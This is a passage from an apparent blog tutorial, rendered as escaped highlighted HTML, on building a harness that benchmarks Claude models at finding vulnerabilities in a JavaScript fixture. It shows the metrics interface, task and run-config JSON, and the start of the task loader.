&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;maxTurns&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;?:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Everything collected during one agent session&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;interface&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;BenchmarkMetrics&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;sessionDurationMs&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;totalInputTokens&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;totalOutputTokens&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;totalCacheReadTokens&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// prompt cache reads (billed at ~10% rate)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;totalCacheCreationTokens&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;    &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// prompt cache writes (billed at ~125% rate)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;totalTurns&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;number&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;;                  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// unique API calls (after dedup — more on this)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;toolCalls&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;ToolCallRecord&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;toolStats&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Record&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;ToolStat&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;filesScanned&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[];              &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// unique files touched by Read/Write/Edit&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The separation of &lt;code&gt;EvalTask&lt;/code&gt; and &lt;code&gt;RunConfig&lt;/code&gt; is deliberate. Tasks define &lt;em&gt;what&lt;/em&gt; to test; configs define &lt;em&gt;who&lt;/em&gt; is doing the test. The benchmark is the cartesian product of both.&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id=&quot;step-3-openclosed-task-and-config-loading&quot;&gt;Step 3: Open/closed task and config loading&lt;/h2&gt;
&lt;p&gt;You want to add a new fixture or a new model configuration without touching source code. The classic open/closed principle.&lt;/p&gt;
&lt;p&gt;Tasks live in &lt;code&gt;evals/tasks/*.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;{&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;js-find-vulns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;JS App: Find Vulnerabilities&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;category&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;find-vulns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;fixture&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;js-vulns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;maxTurns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;20&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Configs live in &lt;code&gt;evals/run-configs.json&lt;/code&gt;:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;opus-4-6&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Claude Opus 4.6 (no MCP)&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;model&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;claude-opus-4-6&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;maxTurns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  },&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;id&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;sonnet-4-6&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;name&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Claude Sonnet 4.6 (no MCP)&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;model&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;claude-sonnet-4-6&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;&quot;maxTurns&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;30&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The loader scans both directories at startup and wires everything together:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// src/evals/loader.ts&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;FIXTURES_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PROJECT_ROOT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;fixtures&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;TASKS_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;PROJECT_ROOT&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;evals/tasks&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;loadEvalTasks&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;EvalTask&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;files&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;readdirSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;TASKS_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; f.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;endsWith&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;.json&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)).&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;sort&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; files.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;map&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;taskJson&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;JSON&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;parse&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;readFileSync&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;join&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;TASKS_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, file), &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;utf-8&quot;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;category&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;categoryId&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fixture&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;maxTurns&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; taskJson;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;category&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolveCategory&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(categoryId);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;knownVulns&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;loadVulns&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(fixture);        &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// reads fixtures/&amp;#x3C;fixture&gt;.json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;fixturePath&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;resolve&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;FIXTURES_DIR&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, fixture);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; { id, name, category, fixture: fixturePath, knownVulns, maxTurns,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;             systemPrompt: category.defaultSystemPrompt,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;             prompt: category.defaultPrompt };&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #D2A8FF&quot;&gt;loadVulns&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;fixtureName&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;string&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;:&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: #FFA657&quot;&gt;Vulnerability&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;[] {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;// Note the path: sibling to fixture dir, not inside it&lt;/span&gt;&lt;/span&gt;
